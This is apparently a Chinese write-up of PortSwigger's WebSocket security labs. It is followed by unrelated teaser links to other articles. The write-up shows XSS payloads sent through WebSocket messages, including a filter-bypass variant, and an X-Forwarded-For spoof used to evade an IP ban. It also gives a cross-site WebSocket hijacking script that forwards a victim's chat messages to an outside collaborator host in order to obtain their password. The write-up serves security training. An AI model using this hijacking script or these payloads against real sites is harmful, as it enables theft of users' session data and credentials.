PortSwigger——WebSockets vulnerabilities

文章目录

  • 一、WebSockets
  • 二、Lab: Manipulating WebSocket messages to exploit vulnerabilities
  • 三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
  • 四、Using cross-site WebSockets to exploit vulnerabilities
    • 4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)
    • 4.2 实施跨站WebSocket劫持攻击
    • 4.3 Lab: Cross-site WebSocket hijacking

一、WebSockets

WebSockets 是一种强大的实时通信协议,适合需要低延迟和高频率数据交换的场景。WebSockets通过HTTP发起,并在两个方向上提供具有异步通信的长期连接。WebSockets用于各种目的,包括执行用户操作和传输敏感信息。实际上,常规HTTP中出现的任何Web安全漏洞也可能与WebSockets通信有关。WebSockets弥补了 HTTP 在实时性方面的不足,广泛应用于聊天、游戏、实时数据推送等领域。
在这里插入图片描述
例如,假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时,将向服务器发送如下所示的WebSocket消息:

{"message":"Hello Carlos"}

消息的内容被传输(再次通过WebSockets)到另一个聊天用户,并在用户的浏览器中呈现如下:

<td>Hello Carlos</td>

在这种情况下,如果没有其他输入处理或防御,攻击者可以通过提交以下WebSocket消息来执行XSS攻击:

{"message":"<img src=1 onerror='alert(1)'>"}

二、Lab: Manipulating WebSocket messages to exploit vulnerabilities

实时聊天一般使用websokets,客户端向服务端发送hello字符串,服务端会将hello字符返回。这里可以方式XSS。
在这里插入图片描述
在这里插入图片描述
在聊天框中输入<img src=1 onerror='alert(1)'>,可以看到客户端对<、>进行了html编码。
在这里插入图片描述
拦截修改一下就行了
在这里插入图片描述
在这里插入图片描述

三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

某些WebSocket漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,例如:

  • 错误地信任HTTP标头来执行安全决策,例如X-Forwarded-For标头。
  • 会话处理机制中的缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
  • 由应用程序使用的自定义HTTP标头引入的攻击面。

同样进入live chat,按照上一个实验的思路重发<img src=1 onerror='alert(1)'>,可以看到,websockets连接立刻被中断。
在这里插入图片描述
重新连接会发现IP被ban了。
在这里插入图片描述
在websockets握手阶段添加X-Forwarded-For字段来掩盖源IP,并重新发送payload。

X-Forwarded-For:用于标识客户端的原始 IP 地址

<img src=1 oNeRrOr=alert`1`>

在这里插入图片描述
在这里插入图片描述

四、Using cross-site WebSockets to exploit vulnerabilities

当攻击者从其控制的网站建立跨域WebSocket连接时,会出现一些WebSocket安全漏洞。这被称为跨站点WebSocket劫持攻击,它涉及利用WebSocket握手上的跨站点请求伪造(CSRF)漏洞。这种攻击通常会产生严重的影响,允许攻击者代表受害用户执行特权操作,或捕获受害用户可以访问的敏感数据。

4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)

跨站WebSocket劫持(Cross-site WebSocket hijacking,也称为跨源WebSocket劫持,cross-origin WebSocket hijacking)涉及WebSocket握手上的跨站点请求伪造(CSRF)漏洞。当WebSocket握手请求仅依赖于HTTP cookie进行会话处理并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。

攻击者可以在自己的域中创建恶意网页,并与存在漏洞的应用程序的站点建立WebSocket连接。当受害者用户访问攻击者创建的恶意网页时,应用程序会把这个来自恶意网页的 WebSocket 连接当作是受害者用户正常发起的连接来处理。这是因为在用户已经登录应用程序的情况下,浏览器会自动携带用户的会话信息(如会话 cookie),应用程序会根据这些会话信息来识别用户身份,所以会错误地认为这是合法用户的请求。

然后,攻击者的页面可以通过连接向服务器发送任意消息,并读取从服务器接收回的消息的内容。这意味着,与常规CSRF不同,攻击者可以获得与受损应用程序的双向交互。

4.2 实施跨站WebSocket劫持攻击

跨站WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是查看应用程序执行的WebSocket握手,并确定它们是否受到CSRF保护。

就一般CSRF攻击而言,需要找到一个握手消息,该消息仅依赖于HTTP cookie进行会话处理,并且在请求参数中不使用任何令牌或其他不可预测的值。

例如,下面的WebSocket握手请求可能容易受到CSRF的攻击,因为cookie中仅有session:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Sec-WebSocket-Key标头包含一个随机值,以防止缓存代理出错,并不用于身份验证或会话处理目的。

4.3 Lab: Cross-site WebSocket hijacking

打开聊天界面
在这里插入图片描述
websocket握手时,cookie中仅包含session,故存在CSRF漏洞。怎么判断是websocket握手包,返回包中Connection: Upgrade说明客户端希望将当前的 HTTP 连接升级为其他协议,Upgrade: websocket则说明其他协议就是websocket协议。
在这里插入图片描述
Go to exploit server
在这里插入图片描述

<script>
    var ws = new WebSocket('wss://0a00000204fe9c6480444952004400ef.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
    	// 向指定服务器发送websocket信息
        fetch('https://7w4hxmft1fa13xxv8e0xv9ruvl1cpadz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); 
    };
    	console.log(even.data)
</script>

这段 JavaScript 代码主要实现了与 WebSocket 服务器建立连接,在连接成功后发送 “READY” 消息,并将从 WebSocket 服务器接收到的消息通过 fetch API 发送到指定的外部服务器。

点击view exploit
在这里插入图片描述
可以读取聊天记录
在这里插入图片描述
点击Deliver_expolit_to_victim
在这里插入图片描述
即可拿到carlos的密码。
在这里插入图片描述

跨域WebSocket劫持的本质:攻击者通过websocket协议与用户建立连接,用户与聊天服务器通过websocket进行连接,上述攻击脚本将用户接受到的websocket信息转发给攻击者。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/968148.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SpringBootWeb三层架构分层解耦

SpringBootWeb 1. SpringBootWeb案例1.1 控制层未拆分代码1.2 实体类1.3 静态资源文件1.4 txt文件1.5 运行界面展示 2. 三层架构拆分2.1 控制层&#xff08;Controller&#xff09;2.1.1 功能2.1.2 用户信息控制层 2.2 业务逻辑层&#xff08;Service&#xff09;2.2.2 功能2.2…

Kimi k1.5: Scaling Reinforcement Learning with LLMs

TL;DR 2025 年 kimi 发表的 k1.5 模型技术报告&#xff0c;和 DeepSeek R1 同一天发布&#xff0c;虽然精度上和 R1 有微小差距&#xff0c;但是文章提出的 RL 路线也有很强的参考意义 Paper name Kimi k1.5: Scaling Reinforcement Learning with LLMs Paper Reading Note…

1.攻防世界 unserialize3(wakeup()魔术方法、反序列化工作原理)

进入题目页面如下 直接开审 <?php // 定义一个名为 xctf 的类 class xctf {// 声明一个公共属性 $flag&#xff0c;初始值为字符串 111public $flag 111;// 定义一个魔术方法 __wakeup()// 当对象被反序列化时&#xff0c;__wakeup() 方法会自动调用public function __wa…

Web前端开发--HTML

HTML快速入门 1.新建文本文件&#xff0c;后缀名改为.html 2.编写 HTML结构标签 3.在<body>中填写内容 HTML结构标签 特点 1.HTML标签中不区分大小写 2.HTML标签属性值中可以使用单引号也可使用双引号 3.HTML语法结构比较松散&#xff08;但在编写时要严格一点&…

JVM(Java 虚拟机)

Java语言的解释性和编译性&#xff08;通过JVM 的执行引擎&#xff09; Java 代码&#xff08;.java 文件&#xff09;要先使用 javac 编译器编译为 .class 文件&#xff08;字节码&#xff09;&#xff0c;紧接着再通过JVM 的执行引擎&#xff08;Execution Engine&#xff09…

Unity3D实现显示模型线框(shader)

系列文章目录 unity工具 文章目录 系列文章目录👉前言👉一、效果展示👉二、第一种方式👉二、第二种方式👉壁纸分享👉总结👉前言 在 Unity 中显示物体线框主要基于图形渲染管线和特定的渲染模式。 要显示物体的线框,通常有两种常见的方法:一种是利用内置的渲染…

java项目之直销模式下家具工厂自建网站源码(ssm+mysql)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于ssm的直销模式下家具工厂自建网站源码。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 直销模式下家具…

window 安装GitLab服务器笔记

目录 视频&#xff1a; 资源&#xff1a; Linux CeneOS7&#xff1a; VMware&#xff1a; Linux无法安装 yum install vim -y 1.手动创建目录 2.下载repo PS 补充视频不可复制的代码 安装GitLab *修改root用户密码相关&#xff08;我卡在第一步就直接放弃了这个操作&…

笔记:理解借贷相等的公式

强烈推荐非会计人士&#xff0c;快速了解会计看这个系列的视频&#xff0c;其中比较烧脑的“借贷相等”公式&#xff0c;这个视频讲解的不错&#xff1a; 4.小白财务入门-借贷记账法_哔哩哔哩_bilibili 比如这里&#xff0c;钱在银行卡重&#xff0c;所以银行存款就是借方…

Qt - 地图相关 —— 3、Qt调用高德在线地图功能示例(附源码)

效果 作者其他相关文章链接:           Qt - 地图相关 —— 1、加载百度在线地图(附源码)           Qt - 地图相关 —— 2、Qt调用百度在线地图功能示例全集,包含线路规划、地铁线路查询等(附源码)           Qt - 地图相关 —— 3、Qt调用…

使用 POI-TL 和 JFreeChart 动态生成 Word 报告

文章目录 前言一、需求背景二、方案分析三、 POI-TL JFreeChart 实现3.1 Maven 依赖3.3 word模板设置3.2 实现代码 踩坑 前言 在开发过程中&#xff0c;我们经常需要生成包含动态数据和图表的 Word 报告。本文将介绍如何结合 POI-TL 和 JFreeChart&#xff0c;实现动态生成 W…

jenkins备份还原配置文件

下载ThinBackup插件 方式1 从插件市场直接下载 Manage Jenkins->Manage Plugins->可选插件搜索 注意&#xff1a;有时可能因为网络或者版本问题下载不了&#xff0c;好像是默认下载最新版本&#xff0c;可选择手动安装&#xff01; 方式二 手动安装插件 点击查看手…

C++蓝桥杯基础篇(二)

片头 嗨&#xff01;小伙伴们&#xff0c;今天我们将学习C蓝桥杯基础篇&#xff08;二&#xff09;&#xff0c;继续练习相关习题&#xff0c;准备好了吗&#xff1f;咱们开始咯~ 第1题 简单计算器输入两个数&#xff0c;以及一个运算符 &#xff0c;-&#xff0c;*&#xff…

将 AMD Zynq™ RFSoC 扩展到毫米波领域

目录 将 AMD Zynq™ RFSoC 扩展到毫米波领域Avnet XRF RFSoC 系统级模块适用于 MATLAB 的 Avnet RFSoC Explorer 工具箱5G mmWave PAAM 开发平台突破性的宽带毫米波波束成形特征&#xff1a;OTBF103 Mathworks Simulink 模型优化毫米波应用中的射频信号路径 用于宽带毫米波上/下…

1Panel配置java运行环境运行springboot项目

一、实际运行效果 1panel上java容器springboot的简单web项目 二、详细操作 步骤一、完成spring项目的打包&#xff0c;生成jar文件 步骤二、登录1panel&#xff0c;点击系统-》文件菜单&#xff0c;上传jar到一个合适的文件夹目录&#xff0c;/opt/jar 如下图&#xff1a; 步…

Jenkins+gitee 搭建自动化部署

Jenkinsgitee 搭建自动化部署 环境说明&#xff1a; 软件版本备注CentOS8.5.2111JDK1.8.0_211Maven3.8.8git2.27.0Jenkins2.319最好选稳定版本&#xff0c;不然安装插件有点麻烦 一、安装Jenkins程序 1、到官网下载相应的版本war或者直接使用yum安装 Jenkins官网下载 直接…

ubuntu安装VMware报错/dev/vmmon加载失败

ubuntu安装VMware报错/dev/vmmon加载失败&#xff0c;解决步骤如下&#xff1a; step1&#xff1a;为vmmon和vmnet组件生成密钥对 openssl req -new -x509 -newkey rsa:2048 -keyout VMW.priv -outform DER -out VMW.der -nodes -days 36500 -subj "/CNVMware/"ste…

LSTM 学习笔记 之pytorch调包每个参数的解释

0、 LSTM 原理 整理优秀的文章 LSTM入门例子&#xff1a;根据前9年的数据预测后3年的客流&#xff08;PyTorch实现&#xff09; [干货]深入浅出LSTM及其Python代码实现 整理视频 李毅宏手撕LSTM [双语字幕]吴恩达深度学习deeplearning.ai 1 Pytorch 代码 这里直接调用了nn.l…

细读 React | React Router 路由切换原理

2022 北京冬奥会开幕式 此前一直在疑惑&#xff0c;明明 pushState()、replaceState() 不触发 popstate 事件&#xff0c;可为什么 React Router 还能挂载对应路由的组件呢&#xff1f; 翻了一下 history.js 源码&#xff0c;终于知道原因了。 源码 假设项目路由设计如下&#…

Flutter 双屏双引擎通信插件加入 GitCode:解锁双屏开发新潜能

在双屏设备应用场景日益丰富的当下&#xff0c;移动应用开发领域迎来了新的机遇与挑战。如何高效利用双屏设备优势&#xff0c;为用户打造更优质的交互体验&#xff0c;成为开发者们关注的焦点。近日&#xff0c;一款名为 Flutter 双屏双引擎通信插件的创新项目正式入驻 GitCod…